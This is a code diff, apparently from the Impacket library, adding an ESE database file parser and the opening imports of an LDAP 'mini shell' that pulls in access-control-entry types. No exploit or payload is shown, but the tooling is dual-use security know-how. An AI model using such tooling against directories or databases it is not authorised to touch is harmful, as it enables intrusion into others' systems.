+        ('ConsistentPosition','<Q=0'),
+        ('ConsistentTime','<Q=0'),
+        ('AttachTime','<Q=0'),
+        ('AttachPosition','<Q=0'),
+        ('DetachTime','<Q=0'),
+        ('DetachPosition','<Q=0'),
+        ('LogSignature',':',ESENT_JET_SIGNATURE),
+        ('Unknown','<L=0'),
+        ('PreviousBackup','24s=b""'),
+        ('PreviousIncBackup','24s=b""'),
+        ('CurrentFullBackup','24s=b""'),
+        ('ShadowingDisables','<L=0'),
+        ('LastObjectID','<L=0'),
+        ('WindowsMajorVersion','<L=0'),
+        ('WindowsMinorVersion','<L=0'),
+        ('WindowsBuildNumber','<L=0'),
+        ('WindowsServicePackNumber','<L=0'),
+        ('FileFormatRevision','<L=0'),
+        ('PageSize','<L=0'),
+        ('RepairCount','<L=0'),
+        ('RepairTime','<Q=0'),
+        ('Unknown2','28s=b""'),
+        ('ScrubTime','<Q=0'),
+        ('RequiredLog','<Q=0'),
+        ('UpgradeExchangeFormat','<L=0'),
+        ('UpgradeFreePages','<L=0'),
+        ('UpgradeSpaceMapPages','<L=0'),
+        ('CurrentShadowBackup','24s=b""'),
+        ('CreationFileFormatVersion','<L=0'),
+        ('CreationFileFormatRevision','<L=0'),
+        ('Unknown3','16s=b""'),
+        ('OldRepairCount','<L=0'),
+        ('ECCCount','<L=0'),
+        ('LastECCTime','<Q=0'),
+        ('OldECCFixSuccessCount','<L=0'),
+        ('ECCFixErrorCount','<L=0'),
+        ('LastECCFixErrorTime','<Q=0'),
+        ('OldECCFixErrorCount','<L=0'),
+        ('BadCheckSumErrorCount','<L=0'),
+        ('LastBadCheckSumTime','<Q=0'),
+        ('OldCheckSumErrorCount','<L=0'),
+        ('CommittedLog','<L=0'),
+        ('PreviousShadowCopy','24s=b""'),
+        ('PreviousDifferentialBackup','24s=b""'),
+        ('Unknown4','40s=b""'),
+        ('NLSMajorVersion','<L=0'),
+        ('NLSMinorVersion','<L=0'),
+        ('Unknown5','148s=b""'),
+        ('UnknownFlags','<L=0'),
+    )
+
+class ESENT_PAGE_HEADER(Structure):
+    structure_2003_SP0 = (
+        ('CheckSum','<L=0'),
+        ('PageNumber','<L=0'),
+    )
+    structure_0x620_0x0b = (
+        ('CheckSum','<L=0'),
+        ('ECCCheckSum','<L=0'),
+    )
+    structure_win7 = (
+        ('CheckSum','<Q=0'),
+    )
+    common = (
+        ('LastModificationTime','<Q=0'),
+        ('PreviousPageNumber','<L=0'),
+        ('NextPageNumber','<L=0'),
+        ('FatherDataPage','<L=0'),
+        ('AvailableDataSize','<H=0'),
+        ('AvailableUncommittedDataSize','<H=0'),
+        ('FirstAvailableDataOffset','<H=0'),
+        ('FirstAvailablePageTag','<H=0'),
+        ('PageFlags','<L=0'),
+    )
+    extended_win7 = (
+        ('ExtendedCheckSum1','<Q=0'),
+        ('ExtendedCheckSum2','<Q=0'),
+        ('ExtendedCheckSum3','<Q=0'),
+        ('PageNumber','<Q=0'),
+        ('Unknown','<Q=0'),
+    )
+    def __init__(self, version, revision, pageSize=8192, data=None):
+        if (version < 0x620) or (version == 0x620 and revision < 0x0b):
+            # For sure the old format
+            self.structure = self.structure_2003_SP0 + self.common
+        elif version == 0x620 and revision < 0x11:
+            # Exchange 2003 SP1 and Windows Vista and later
+            self.structure = self.structure_0x620_0x0b + self.common
+        else:
+            # Windows 7 and later
+            self.structure = self.structure_win7 + self.common
+            if pageSize > 8192:
+                self.structure += self.extended_win7
+
+        Structure.__init__(self,data)
+
+class ESENT_ROOT_HEADER(Structure):
+    structure = (
+        ('InitialNumberOfPages','<L=0'),
+        ('ParentFatherDataPage','<L=0'),
+        ('ExtentSpace','<L=0'),
+        ('SpaceTreePageNumber','<L=0'),
+    )
+
+class ESENT_BRANCH_HEADER(Structure):
+    structure = (
+        ('CommonPageKey',':'),
+    )
+
+class ESENT_BRANCH_ENTRY(Structure):
+    common = (
+        ('CommonPageKeySize','<H=0'),
+    )
+    structure = (
+        ('LocalPageKeySize','<H=0'),
+        ('_LocalPageKey','_-LocalPageKey','self["LocalPageKeySize"]'),
+        ('LocalPageKey',':'),
+        ('ChildPageNumber','<L=0'),
+    )
+    def __init__(self, flags, data=None):
+        if flags & TAG_COMMON > 0:
+            # Include the common header
+            self.structure = self.common + self.structure
+        Structure.__init__(self,data)
+
+class ESENT_LEAF_HEADER(Structure):
+    structure = (
+        ('CommonPageKey',':'),
+    )
+
+class ESENT_LEAF_ENTRY(Structure):
+    common = (
+        ('CommonPageKeySize','<H=0'),
+    )
+    structure = (
+        ('LocalPageKeySize','<H=0'),
+        ('_LocalPageKey','_-LocalPageKey','self["LocalPageKeySize"]'),
+        ('LocalPageKey',':'),
+        ('EntryData',':'),
+    )
+    def __init__(self, flags, data=None):
+        if flags & TAG_COMMON > 0:
+            # Include the common header
+            self.structure = self.common + self.structure
+        Structure.__init__(self,data)
+
+class ESENT_SPACE_TREE_HEADER(Structure):
+    structure = (
+        ('Unknown','<Q=0'),
+    )
+
+class ESENT_SPACE_TREE_ENTRY(Structure):
+    structure = (
+        ('PageKeySize','<H=0'),
+        ('LastPageNumber','<L=0'),
+        ('NumberOfPages','<L=0'),
+    )
+
+class ESENT_INDEX_ENTRY(Structure):
+    structure = (
+        ('RecordPageKey',':'),
+    )
+
+class ESENT_DATA_DEFINITION_HEADER(Structure):
+    structure = (
+        ('LastFixedSize','<B=0'),
+        ('LastVariableDataType','<B=0'),
+        ('VariableSizeOffset','<H=0'),
+    )
+
+class ESENT_CATALOG_DATA_DEFINITION_ENTRY(Structure):
+    fixed = (
+        ('FatherDataPageID','<L=0'),
+        ('Type','<H=0'),
+        ('Identifier','<L=0'),
+    )
+
+    column_stuff = (
+        ('ColumnType','<L=0'),
+        ('SpaceUsage','<L=0'),
+        ('ColumnFlags','<L=0'),
+        ('CodePage','<L=0'),
+    )
+
+    other = (
+        ('FatherDataPageNumber','<L=0'),
+    )
+
+    table_stuff = (
+        ('SpaceUsage','<L=0'),
+#        ('TableFlags','<L=0'),
+#        ('InitialNumberOfPages','<L=0'),
+    )
+
+    index_stuff = (
+        ('SpaceUsage','<L=0'),
+        ('IndexFlags','<L=0'),
+        ('Locale','<L=0'),
+    )
+
+    lv_stuff = (
+        ('SpaceUsage','<L=0'),
+#        ('LVFlags','<L=0'),
+#        ('InitialNumberOfPages','<L=0'),
+    )
+    common = (
+#        ('RootFlag','<B=0'),
+#        ('RecordOffset','<H=0'),
+#        ('LCMapFlags','<L=0'),
+#        ('KeyMost','<H=0'),
+        ('Trailing',':'),
+    )
+
+    def __init__(self,data):
+        # Depending on the type of data we'll end up building a different struct
+        dataType = unpack('<H', data[4:][:2])[0]
+        self.structure = self.fixed
+
+        if dataType == CATALOG_TYPE_TABLE:
+            self.structure += self.other + self.table_stuff
+        elif dataType == CATALOG_TYPE_COLUMN:
+            self.structure += self.column_stuff
+        elif dataType == CATALOG_TYPE_INDEX:
+            self.structure += self.other + self.index_stuff
+        elif dataType == CATALOG_TYPE_LONG_VALUE:
+            self.structure += self.other + self.lv_stuff
+        elif dataType == CATALOG_TYPE_CALLBACK:
+            raise Exception('CallBack types not supported!')
+        else:
+            LOG.error('Unknown catalog type 0x%x' % dataType)
+            self.structure = ()
+            Structure.__init__(self,data)
+
+        self.structure += self.common
+
+        Structure.__init__(self,data)
+
+
+#def pretty_print(x):
+#    if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ':
+#       return x
+#    else:
+#       return '.'
+#
+#def hexdump(data):
+#    x=str(data)
+#    strLen = len(x)
+#    i = 0
+#    while i < strLen:
+#        print "%04x  " % i,
+#        for j in range(16):
+#            if i+j < strLen:
+#                print "%02X" % ord(x[i+j]),
+#
+#            else:
+#                print "  ",
+#            if j%16 == 7:
+#                print "",
+#        print " ",
+#        print ''.join(pretty_print(x) for x in x[i:i+16] )
+#        i += 16
+
+def getUnixTime(t):
+    t -= 116444736000000000
+    t //= 10000000
+    return t
+
+class ESENT_PAGE:
+    def __init__(self, db, data=None):
+        self.__DBHeader = db
+        self.data = data
+        self.record = None
+        if data is not None:
+            self.record = ESENT_PAGE_HEADER(self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'], self.__DBHeader['PageSize'], data)
+
+    def printFlags(self):
+        flags = self.record['PageFlags']
+        if flags & FLAGS_EMPTY:
+            print("\tEmpty")
+        if flags & FLAGS_INDEX:
+            print("\tIndex")
+        if flags & FLAGS_LEAF:
+            print("\tLeaf")
+        else:
+            print("\tBranch")
+        if flags & FLAGS_LONG_VALUE:
+            print("\tLong Value")
+        if flags & FLAGS_NEW_CHECKSUM:
+            print("\tNew Checksum")
+        if flags & FLAGS_NEW_FORMAT:
+            print("\tNew Format")
+        if flags & FLAGS_PARENT:
+            print("\tParent")
+        if flags & FLAGS_ROOT:
+            print("\tRoot")
+        if flags & FLAGS_SPACE_TREE:
+            print("\tSpace Tree")
+
+    def dump(self):
+        baseOffset = len(self.record)
+        self.record.dump()
+        tags = self.data[-4*self.record['FirstAvailablePageTag']:]
+
+        print("FLAGS: ")
+        self.printFlags()
+
+        print()
+
+        for i in range(self.record['FirstAvailablePageTag']):
+            tag = tags[-4:]
+            if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] > 11 and self.__DBHeader['PageSize'] > 8192:
+                valueSize = unpack('<H', tag[:2])[0] & 0x7fff
+                valueOffset = unpack('<H',tag[2:])[0] & 0x7fff
+                hexdump((self.data[baseOffset+valueOffset:][:6]))
+                pageFlags = ord(self.data[baseOffset+valueOffset:][1]) >> 5
+                #print "TAG FLAG: 0x%x " % (unpack('<L', self.data[baseOffset+valueOffset:][:4]) ) >> 5
+                #print "TAG FLAG: 0x " , ord(self.data[baseOffset+valueOffset:][0])
+            else:
+                valueSize = unpack('<H', tag[:2])[0] & 0x1fff
+                pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13
+                valueOffset = unpack('<H',tag[2:])[0] & 0x1fff
+                
+            print("TAG %-8d offset:0x%-6x flags:0x%-4x valueSize:0x%x" % (i,valueOffset,pageFlags,valueSize))
+            #hexdump(self.getTag(i)[1])
+            tags = tags[:-4]
+
+        if self.record['PageFlags'] & FLAGS_ROOT > 0:
+            rootHeader = ESENT_ROOT_HEADER(self.getTag(0)[1])
+            rootHeader.dump()
+        elif self.record['PageFlags'] & FLAGS_LEAF == 0:
+            # Branch Header
+            flags, data = self.getTag(0)
+            branchHeader = ESENT_BRANCH_HEADER(data)
+            branchHeader.dump()
+        else:
+            # Leaf Header
+            flags, data = self.getTag(0)
+            if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
+                # Space Tree
+                spaceTreeHeader = ESENT_SPACE_TREE_HEADER(data)
+                spaceTreeHeader.dump()
+            else:
+                leafHeader = ESENT_LEAF_HEADER(data)
+                leafHeader.dump()
+
+        # Print the leaf/branch tags
+        for tagNum in range(1,self.record['FirstAvailablePageTag']):
+            flags, data = self.getTag(tagNum)
+            if self.record['PageFlags'] & FLAGS_LEAF == 0:
+                # Branch page
+                branchEntry = ESENT_BRANCH_ENTRY(flags, data)
+                branchEntry.dump()
+            elif self.record['PageFlags'] & FLAGS_LEAF > 0:
+                # Leaf page
+                if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
+                    # Space Tree
+                    spaceTreeEntry = ESENT_SPACE_TREE_ENTRY(data)
+                    #spaceTreeEntry.dump()
+
+                elif self.record['PageFlags'] & FLAGS_INDEX > 0:
+                    # Index Entry
+                    indexEntry = ESENT_INDEX_ENTRY(data)
+                    #indexEntry.dump()
+                elif self.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
+                    # Long Page Value
+                    raise Exception('Long value still not supported')
+                else:
+                    # Table Value
+                    leafEntry = ESENT_LEAF_ENTRY(flags, data)
+                    dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(leafEntry['EntryData'])
+                    dataDefinitionHeader.dump()
+                    catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(leafEntry['EntryData'][len(dataDefinitionHeader):])
+                    catalogEntry.dump()
+                    hexdump(leafEntry['EntryData'])
+
+    def getTag(self, tagNum):
+        if self.record['FirstAvailablePageTag'] < tagNum:
+            raise Exception('Trying to grab an unknown tag 0x%x' % tagNum)
+
+        tags = self.data[-4*self.record['FirstAvailablePageTag']:]
+        baseOffset = len(self.record)
+        for i in range(tagNum):
+            tags = tags[:-4]
+
+        tag = tags[-4:]
+
+        if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192:
+            valueSize = unpack('<H', tag[:2])[0] & 0x7fff
+            valueOffset = unpack('<H',tag[2:])[0] & 0x7fff
+            tmpData = list(self.data[baseOffset+valueOffset:][:valueSize])
+            pageFlags = ord(tmpData[1]) >> 5
+            tmpData[1] = chr(ord(tmpData[1:2]) & 0x1f)
+            tagData = "".join(tmpData)
+        else:
+            valueSize = unpack('<H', tag[:2])[0] & 0x1fff
+            pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13
+            valueOffset = unpack('<H',tag[2:])[0] & 0x1fff
+            tagData = self.data[baseOffset+valueOffset:][:valueSize]
+
+        #return pageFlags, self.data[baseOffset+valueOffset:][:valueSize]
+        return pageFlags, tagData
+
+class ESENT_DB:
+    def __init__(self, fileName, pageSize = 8192, isRemote = False):
+        self.__fileName = fileName
+        self.__pageSize = pageSize
+        self.__DB = None
+        self.__DBHeader = None
+        self.__totalPages = None
+        self.__tables = OrderedDict()
+        self.__currentTable = None
+        self.__isRemote = isRemote
+        self.mountDB()
+
+    def mountDB(self):
+        LOG.debug("Mounting DB...")
+        if self.__isRemote is True:
+            self.__DB = self.__fileName
+            self.__DB.open()
+        else:
+            self.__DB = open(self.__fileName,"rb")
+        mainHeader = self.getPage(-1)
+        self.__DBHeader = ESENT_DB_HEADER(mainHeader)
+        self.__pageSize = self.__DBHeader['PageSize']
+        self.__DB.seek(0,2)
+        self.__totalPages = (self.__DB.tell() // self.__pageSize) -2
+        LOG.debug("Database Version:0x%x, Revision:0x%x"% (self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision']))
+        LOG.debug("Page Size: %d" % self.__pageSize)
+        LOG.debug("Total Pages in file: %d" % self.__totalPages)
+        self.parseCatalog(CATALOG_PAGE_NUMBER)
+
+    def printCatalog(self):
+        indent = '    '
+
+        print("Database version: 0x%x, 0x%x" % (self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'] ))
+        print("Page size: %d " % self.__pageSize)
+        print("Number of pages: %d" % self.__totalPages)
+        print() 
+        print("Catalog for %s" % self.__fileName)
+        for table in list(self.__tables.keys()):
+            print("[%s]" % table.decode('utf8'))
+            print("%sColumns " % indent)
+            for column in list(self.__tables[table]['Columns'].keys()):
+                record = self.__tables[table]['Columns'][column]['Record']
+                print("%s%-5d%-30s%s" % (indent*2, record['Identifier'], column.decode('utf-8'),ColumnTypeToName[record['ColumnType']]))
+            print("%sIndexes"% indent)
+            for index in list(self.__tables[table]['Indexes'].keys()):
+                print("%s%s" % (indent*2, index.decode('utf-8')))
+            print("")
+
+    def __addItem(self, entry):
+        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
+        catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):])
+        itemName = self.__parseItemName(entry)
+
+        if catalogEntry['Type'] == CATALOG_TYPE_TABLE:
+            self.__tables[itemName] = OrderedDict()
+            self.__tables[itemName]['TableEntry'] = entry
+            self.__tables[itemName]['Columns']    = OrderedDict()
+            self.__tables[itemName]['Indexes']    = OrderedDict()
+            self.__tables[itemName]['LongValues'] = OrderedDict()
+            self.__currentTable = itemName
+        elif catalogEntry['Type'] == CATALOG_TYPE_COLUMN:
+            self.__tables[self.__currentTable]['Columns'][itemName] = entry
+            self.__tables[self.__currentTable]['Columns'][itemName]['Header'] = dataDefinitionHeader
+            self.__tables[self.__currentTable]['Columns'][itemName]['Record'] = catalogEntry
+        elif catalogEntry['Type'] == CATALOG_TYPE_INDEX:
+            self.__tables[self.__currentTable]['Indexes'][itemName] = entry
+        elif catalogEntry['Type'] == CATALOG_TYPE_LONG_VALUE:
+            self.__addLongValue(entry)
+        else:
+            raise Exception('Unknown type 0x%x' % catalogEntry['Type'])
+
+    def __parseItemName(self,entry):
+        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
+
+        if dataDefinitionHeader['LastVariableDataType'] > 127:
+            numEntries =  dataDefinitionHeader['LastVariableDataType'] - 127
+        else:
+            numEntries =  dataDefinitionHeader['LastVariableDataType']
+
+        itemLen = unpack('<H',entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][:2])[0]
+        itemName = entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][2*numEntries:][:itemLen]
+        return itemName
+
+    def __addLongValue(self, entry):
+        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
+        lvLen = unpack('<H',entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][:2])[0]
+        lvName = entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][7:][:lvLen]
+        self.__tables[self.__currentTable]['LongValues'][lvName] = entry
+
+    def parsePage(self, page):
+        # Print the leaf/branch tags
+        for tagNum in range(1,page.record['FirstAvailablePageTag']):
+            flags, data = page.getTag(tagNum)
+            if page.record['PageFlags'] & FLAGS_LEAF > 0:
+                # Leaf page
+                if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
+                    pass
+                elif page.record['PageFlags'] & FLAGS_INDEX > 0:
+                    pass
+                elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
+                    pass
+                else:
+                    # Table Value
+                    leafEntry = ESENT_LEAF_ENTRY(flags, data)
+                    self.__addItem(leafEntry)
+
+    def parseCatalog(self, pageNum):
+        # Parse all the pages starting at pageNum and commit table data
+        page = self.getPage(pageNum)
+        self.parsePage(page)
+
+        for i in range(1, page.record['FirstAvailablePageTag']):
+            flags, data = page.getTag(i)
+            if page.record['PageFlags'] & FLAGS_LEAF == 0:
+                # Branch page
+                branchEntry = ESENT_BRANCH_ENTRY(flags, data)
+                self.parseCatalog(branchEntry['ChildPageNumber'])
+
+
+    def readHeader(self):
+        LOG.debug("Reading Boot Sector for %s" % self.__volumeName)
+
+    def getPage(self, pageNum):
+        LOG.debug("Trying to fetch page %d (0x%x)" % (pageNum, (pageNum+1)*self.__pageSize))
+        self.__DB.seek((pageNum+1)*self.__pageSize, 0)
+        data = self.__DB.read(self.__pageSize)
+        while len(data) < self.__pageSize:
+            remaining = self.__pageSize - len(data)
+            data += self.__DB.read(remaining)
+        # Special case for the first page
+        if pageNum <= 0:
+            return data
+        else:
+            return ESENT_PAGE(self.__DBHeader, data)
+
+    def close(self):
+        self.__DB.close()
+
+    def openTable(self, tableName):
+        # Returns a cursos for later use
+
+        if isinstance(tableName, bytes) is not True:
+            tableName = b(tableName)
+
+        if tableName in self.__tables:
+            entry = self.__tables[tableName]['TableEntry']
+            dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
+            catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):])
+            
+            # Let's position the cursor at the leaf levels for fast reading
+            pageNum = catalogEntry['FatherDataPageNumber']
+            done = False
+            while done is False:
+                page = self.getPage(pageNum)
+                if page.record['FirstAvailablePageTag'] <= 1:
+                    # There are no records
+                    done = True
+                for i in range(1, page.record['FirstAvailablePageTag']):
+                    flags, data = page.getTag(i)
+                    if page.record['PageFlags'] & FLAGS_LEAF == 0:
+                        # Branch page, move on to the next page
+                        branchEntry = ESENT_BRANCH_ENTRY(flags, data)
+                        pageNum = branchEntry['ChildPageNumber']
+                        break
+                    else:
+                        done = True
+                        break
+                
+            cursor = TABLE_CURSOR
+            cursor['TableData'] = self.__tables[tableName]
+            cursor['FatherDataPageNumber'] = catalogEntry['FatherDataPageNumber']
+            cursor['CurrentPageData'] = page
+            cursor['CurrentTag']  = 0
+            return cursor
+        else:
+            return None
+
+    def __getNextTag(self, cursor):
+        page = cursor['CurrentPageData']
+
+        if cursor['CurrentTag'] >= page.record['FirstAvailablePageTag']:
+            # No more data in this page, chau
+            return None
+
+        flags, data = page.getTag(cursor['CurrentTag'])
+        if page.record['PageFlags'] & FLAGS_LEAF > 0:
+            # Leaf page
+            if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
+                raise Exception('FLAGS_SPACE_TREE > 0')
+            elif page.record['PageFlags'] & FLAGS_INDEX > 0:
+                raise Exception('FLAGS_INDEX > 0')
+            elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
+                raise Exception('FLAGS_LONG_VALUE > 0')
+            else:
+                # Table Value
+                leafEntry = ESENT_LEAF_ENTRY(flags, data)
+                return leafEntry
+
+        return None
+
+    def getNextRow(self, cursor, filter_tables = None):
+        cursor['CurrentTag'] += 1
+
+        tag = self.__getNextTag(cursor)
+        #hexdump(tag)
+
+        if tag is None:
+            # No more tags in this page, search for the next one on the right
+            page = cursor['CurrentPageData']
+            if page.record['NextPageNumber'] == 0:
+                # No more pages, chau
+                return None
+            else:
+                cursor['CurrentPageData'] = self.getPage(page.record['NextPageNumber'])
+                cursor['CurrentTag'] = 0
+                return self.getNextRow(cursor, filter_tables = filter_tables)
+        else:
+            return self.__tagToRecord(cursor, tag['EntryData'], filter_tables = filter_tables)
+
+    def __tagToRecord(self, cursor, tag, filter_tables = None):
+        # So my brain doesn't forget, the data record is composed of:
+        # Header
+        # Fixed Size Data (ID < 127)
+        #     The easiest to parse. Their size is fixed in the record. You can get its size
+        #     from the Column Record, field SpaceUsage
+        # Variable Size Data (127 < ID < 255)
+        #     At VariableSizeOffset you get an array of two bytes per variable entry, pointing
+        #     to the length of the value. Values start at:
+        #                numEntries = LastVariableDataType - 127
+        #                VariableSizeOffset + numEntries * 2 (bytes)
+        # Tagged Data ( > 255 )
+        #     After the Variable Size Value, there's more data for the tagged values.
+        #     Right at the beginning there's another array (taggedItems), pointing to the
+        #     values, size.
+        #
+        # The interesting thing about this DB records is there's no need for all the columns to be there, hence
+        # saving space. That's why I got over all the columns, and if I find data (of any type), i assign it. If 
+        # not, the column's empty.
+        #
+        # There are a lot of caveats in the code, so take your time to explore it. 
+        #
+        # ToDo: Better complete this description
+        #
+
+        record = OrderedDict()
+        taggedItems = OrderedDict()
+        taggedItemsParsed = False
+
+        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(tag)
+        #dataDefinitionHeader.dump()
+        variableDataBytesProcessed = (dataDefinitionHeader['LastVariableDataType'] - 127) * 2
+        prevItemLen = 0
+        tagLen = len(tag)
+        fixedSizeOffset = len(dataDefinitionHeader)
+        variableSizeOffset = dataDefinitionHeader['VariableSizeOffset'] 
+ 
+        columns = cursor['TableData']['Columns'] 
+        
+        for column in list(columns.keys()):
+            if filter_tables is not None:
+                if column not in filter_tables:
+                    continue
+            columnRecord = columns[column]['Record']
+            #columnRecord.dump()
+            if columnRecord['Identifier'] <= dataDefinitionHeader['LastFixedSize']:
+                # Fixed Size column data type, still available data
+                record[column] = tag[fixedSizeOffset:][:columnRecord['SpaceUsage']]
+                fixedSizeOffset += columnRecord['SpaceUsage']
+
+            elif 127 < columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:
+                # Variable data type
+                index = columnRecord['Identifier'] - 127 - 1
+                itemLen = unpack('<H',tag[variableSizeOffset+index*2:][:2])[0]
+
+                if itemLen & 0x8000:
+                    # Empty item
+                    itemLen = prevItemLen
+                    record[column] = None
+                else:
+                    itemValue = tag[variableSizeOffset+variableDataBytesProcessed:][:itemLen-prevItemLen]
+                    record[column] = itemValue
+
+                #if columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:
+                variableDataBytesProcessed +=itemLen-prevItemLen
+
+                prevItemLen = itemLen
+
+            elif columnRecord['Identifier'] > 255:
+                # Have we parsed the tagged items already?
+                if taggedItemsParsed is False and (variableDataBytesProcessed+variableSizeOffset) < tagLen:
+                    index = variableDataBytesProcessed+variableSizeOffset
+                    #hexdump(tag[index:])
+                    endOfVS = self.__pageSize
+                    firstOffsetTag = (unpack('<H', tag[index+2:][:2])[0] & 0x3fff) + variableDataBytesProcessed+variableSizeOffset
+                    while True:
+                        taggedIdentifier = unpack('<H', tag[index:][:2])[0]
+                        index += 2
+                        taggedOffset = (unpack('<H', tag[index:][:2])[0] & 0x3fff) 
+                        # As of Windows 7 and later ( version 0x620 revision 0x11) the 
+                        # tagged data type flags are always present
+                        if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192: 
+                            flagsPresent = 1
+                        else:
+                            flagsPresent = (unpack('<H', tag[index:][:2])[0] & 0x4000)
+                        index += 2
+                        if taggedOffset < endOfVS:
+                            endOfVS = taggedOffset
+                        taggedItems[taggedIdentifier] = (taggedOffset, tagLen, flagsPresent)
+                        #print "ID: %d, Offset:%d, firstOffset:%d, index:%d, flag: 0x%x" % (taggedIdentifier, taggedOffset,firstOffsetTag,index, flagsPresent)
+                        if index >= firstOffsetTag:
+                            # We reached the end of the variable size array
+                            break
+                
+                    # Calculate length of variable items
+                    # Ugly.. should be redone
+                    prevKey = list(taggedItems.keys())[0]
+                    for i in range(1,len(taggedItems)):
+                        offset0, length, flags = taggedItems[prevKey]
+                        offset, _, _ = list(taggedItems.items())[i][1]
+                        taggedItems[prevKey] = (offset0, offset-offset0, flags)
+                        #print "ID: %d, Offset: %d, Len: %d, flags: %d" % (prevKey, offset0, offset-offset0, flags)
+                        prevKey = list(taggedItems.keys())[i]
+                    taggedItemsParsed = True
+ 
+                # Tagged data type
+                if columnRecord['Identifier'] in taggedItems:
+                    offsetItem = variableDataBytesProcessed + variableSizeOffset + taggedItems[columnRecord['Identifier']][0] 
+                    itemSize = taggedItems[columnRecord['Identifier']][1]
+                    # If item have flags, we should skip them
+                    if taggedItems[columnRecord['Identifier']][2] > 0:
+                        itemFlag = ord(tag[offsetItem:offsetItem+1])
+                        offsetItem += 1
+                        itemSize -= 1
+                    else:
+                        itemFlag = 0
+
+                    #print "ID: %d, itemFlag: 0x%x" %( columnRecord['Identifier'], itemFlag)
+                    if itemFlag & (TAGGED_DATA_TYPE_COMPRESSED ):
+                        LOG.error('Unsupported tag column: %s, flag:0x%x' % (column, itemFlag))
+                        record[column] = None
+                    elif itemFlag & TAGGED_DATA_TYPE_MULTI_VALUE:
+                        # ToDo: Parse multi-values properly
+                        LOG.debug('Multivalue detected in column %s, returning raw results' % (column))
+                        record[column] = (hexlify(tag[offsetItem:][:itemSize]),)
+                    else:
+                        record[column] = tag[offsetItem:][:itemSize]
+
+                else:
+                    record[column] = None
+            else:
+                record[column] = None
+
+            # If we understand the data type, we unpack it and cast it accordingly
+            # otherwise, we just encode it in hex
+            if type(record[column]) is tuple:
+                # A multi value data, we won't decode it, just leave it this way
+                record[column] = record[column][0]
+            elif columnRecord['ColumnType'] == JET_coltypText or columnRecord['ColumnType'] == JET_coltypLongText: 
+                # Let's handle strings
+                if record[column] is not None:
+                    if columnRecord['CodePage'] not in StringCodePages:
+                        raise Exception('Unknown codepage 0x%x'% columnRecord['CodePage'])
+                    stringDecoder = StringCodePages[columnRecord['CodePage']]
+
+                    try:
+                        record[column] = record[column].decode(stringDecoder)
+                    except Exception:
+                        LOG.debug("Exception:", exc_info=True)
+                        LOG.debug('Fixing Record[%r][%d]: %r' % (column, columnRecord['ColumnType'], record[column]))
+                        record[column] = record[column].decode(stringDecoder, "replace")
+                        pass
+            else:
+                unpackData = ColumnTypeSize[columnRecord['ColumnType']]
+                if record[column] is not None:
+                    if unpackData is None:
+                        record[column] = hexlify(record[column])
+                    else:
+                        unpackStr = unpackData[1]
+                        record[column] = unpack(unpackStr, record[column])[0]
+
+        return record
diff --git a/impacket/examples/__init__.py b/impacket/examples/__init__.py
new file mode 100644
index 0000000..b2b0c68
--- /dev/null
+++ b/impacket/examples/__init__.py
@@ -0,0 +1,9 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+pass
diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py
new file mode 100644
index 0000000..654af6a
--- /dev/null
+++ b/impacket/examples/ldap_shell.py
@@ -0,0 +1,660 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Mini shell using some of the LDAP functionalities of the library
+#
+# Author:
+#   Mathieu Gascon-Lefebvre (@mlefebvre)
+#
+import re
+import string
+import sys
+import cmd
+import random
+import ldap3
+from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
+from ldap3.utils.conv import escape_filter_chars
+from six import PY2
+import shlex
+from impacket import LOG
+from ldap3.protocol.microsoft import security_descriptor_control
+from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
+from impacket.ldap import ldaptypes
+
+
+class LdapShell(cmd.Cmd):
+    LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
+
+    def __init__(self, tcp_shell, domain_dumper, client):
